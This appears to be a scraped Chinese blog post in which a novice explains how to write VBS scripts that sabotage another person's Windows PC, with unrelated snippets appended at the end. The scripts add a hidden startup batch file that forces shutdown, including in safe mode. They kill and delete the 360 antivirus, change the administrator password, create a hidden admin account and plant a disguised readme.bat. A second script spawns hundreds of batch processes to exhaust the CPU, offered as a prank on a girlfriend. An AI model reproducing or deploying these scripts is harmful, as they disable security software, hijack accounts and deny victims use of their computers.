VBS菜鳥實戰

2021-06-16 05:35:49 字數 2879 閱讀 5056

無聊的每一天,看****的時候,竟意外發現我的電腦中毒自動關機了,nnd,真是第一次,哥上論壇泡了一天天,漸漸有點懂了。。於是,我也來玩玩

首先,建立指令碼

set a=createobject("wscript.shell") path="hkey_local_machine/software/microsoft/windows/currentversion/runonce/"

a.run "cmd /c echo shutdown -s -f -t 30 > c:/system32.bat",vbhide

a.run "cmd /c attrib  c:/system321.bat +h",vbhide

var=a.regwrite(path&"*sougouupdate","c:/system32.bat")

目的是建立開機啟動項,很陰險地放進c盤,並命名為system32.bat,然後利用attrib把屬性修改為隱藏,system32.bat裡面內容為:

shutdown -s -f -t 30 即開機後30秒就自動關機,nnd,給人家乙個機會,放到runonce裡面,對於太令人討厭的38就在run裡面也放乙個,再把30改為0,靠,讓他永遠開機就關機,爽!就算發現了,他會修改登錄檔,可惜,run裡面的鍵值是沒法刪除的,除非進入保護模式,好吧,哥在鍵值前面加了乙個*,就算你進入保護模式,也一樣執行一次,叫你關機就關機!接著,令人討厭的是,基本都***裝了360,指令碼一執行就會提示,ca,改不了登錄檔,

在網上搜了一下,必須關掉360,cmd /c taskkill /f /im 360safe.exe,加到指令碼,靠,竟然還關閉不了,沒辦法,現在的防毒軟體是很好滴,一般的小伎倆根本不行。換一招,跳過這個或許失敗的句子,指令碼頭上新增on error resume next ,然後讓他電腦重新啟動下,換到另乙個使用者,於是,繼續指令碼:

a.run "cmd /c net user administrator caonima",vbhide一般預設裝的系統裡面管理員名都是administrator了,碰碰運氣吧,把他密碼改為caonima ,讓他登陸不了,然後就會進第二個使用者,即下面新增的lc,啟用另乙個管理員:

a.run "cmd /c net user lc /add",vbhide,再將新增的使用者提權為管理員:

a.run "cmd /c net localgroup administrators lc /add",vbhide於是,lc管理員新增了,再啟用它,a.run "cmd /c net user lc /active:yes",vbhide,完成之後,直接讓他登出機子,a.run "cmd /c logoff",回到登陸介面,當他試了好幾次進不了administrator後,會意外地發現lc不用密碼就進去了,好!中招!新使用者也是管理員,我們需要在他進入新使用者之前完成一些工作,在即將進入的使用者桌面上建立乙個bat指令碼,命名為readme,騙死他,就是在logoff前再寫幾句**,nnd,直接把360 給刪掉,

a.run "cmd /c echo set a=createobject(""scripting.filesystemobject"") > c:/system.vbs",vbhide

a.run "cmd /c echo a.deletefolder(""c:/program files/360"") >> c:/system.vbs"

當system.vbs執行後,360就沒有任何提示的消失了,哦也,但是要讓他執行,所以,再將system.vbs放到將要顯示的lc桌面上:set b=createobject("scripting.filesystemobject") 

if (b.folderexists("c:/documents and settings/lc/桌面")) then

b.copyfile  "c:/system.vbs","c:/documents and settings/lc/桌面/system.vbs"

else

folertemp=b.createfolder("c:/documents and settings/lc/桌面")

b.copyfile  "c:/system.vbs","c:/documents and settings/lc/桌面/"

end if這樣,將會出現在lc的桌面上,再將屬性設定為隱藏,建立乙個新的bat指令碼readme執行它,

a.run "cmd /c attrib c:/documents and settings/lc/桌面/system.vbs +h",vbhide;

a.run "cmd /c echo call c:/documents and settings/lc/system.vbs > c:/ducuments and settings/lc/桌面/readme.bat",ok,完成了,下面享受他的糾結了!

上次寫了乙個超級簡單的指令碼,高手看了會笑滴,把一位好童鞋給氣的關機了,誒,辜負了她的信任啊!**如下:

start.vbs:

set a=createobject("wscript.shell")

a.run "cmd /c echo  @echo off > sendm.bat"

a.run "cmd /c echo  @echo **********對不起,我愛你********** >> sendm.bat"

a.run "cmd /c echo call sendm.bat " '注釋

for i=0 to 500

a.run "cmd /c sendm.bat"

next

自己576m記憶體的虛擬機器上用50親測了下,cpu100%,記憶體耗用不大。。。。試試啊

其實吧,不用強制關機的,因為執行完了後,所有視窗自動關閉了,只是,要一點時間而已。。。那是因為最後一刻改了一句,a.run "cmd /c echo call sendm.bat  >> sendm.bat"

如果將這一句換掉上面的注釋句,呵呵,那場面相當壯觀啊!!有興趣的哥們試試,發給你女朋友,愛死你了

菜鳥的MySQL學習之旅(六) 實戰二

trips 表中存所有計程車的行程資訊。每段行程有唯一鍵 id,client id 和 driver id 是 users 表中 users id 的外來鍵。status 是列舉型別,列舉成員為 completed cancelled by driver cancelled by client id...

vbs 01 vbs格式檔案

vbs是基於visual basic的指令碼語言。vbs的全稱是 microsoft visual basic script edition。微軟公司視覺化basic指令碼版 其語言類似visual basic vb 1 在文字編輯框裡輸入以下命令符 msgbox 你好呀 msgbox 你的電腦將被...

vbs 殺死程序 VBS殺死指定程序

以下是一小段殺死指定程序名字的小vbs,希望對大家有幫助。function killproc strprocname on error resume next set objwmiservice getobject winmgmts ootcimv2 set arrprocesses objwmis...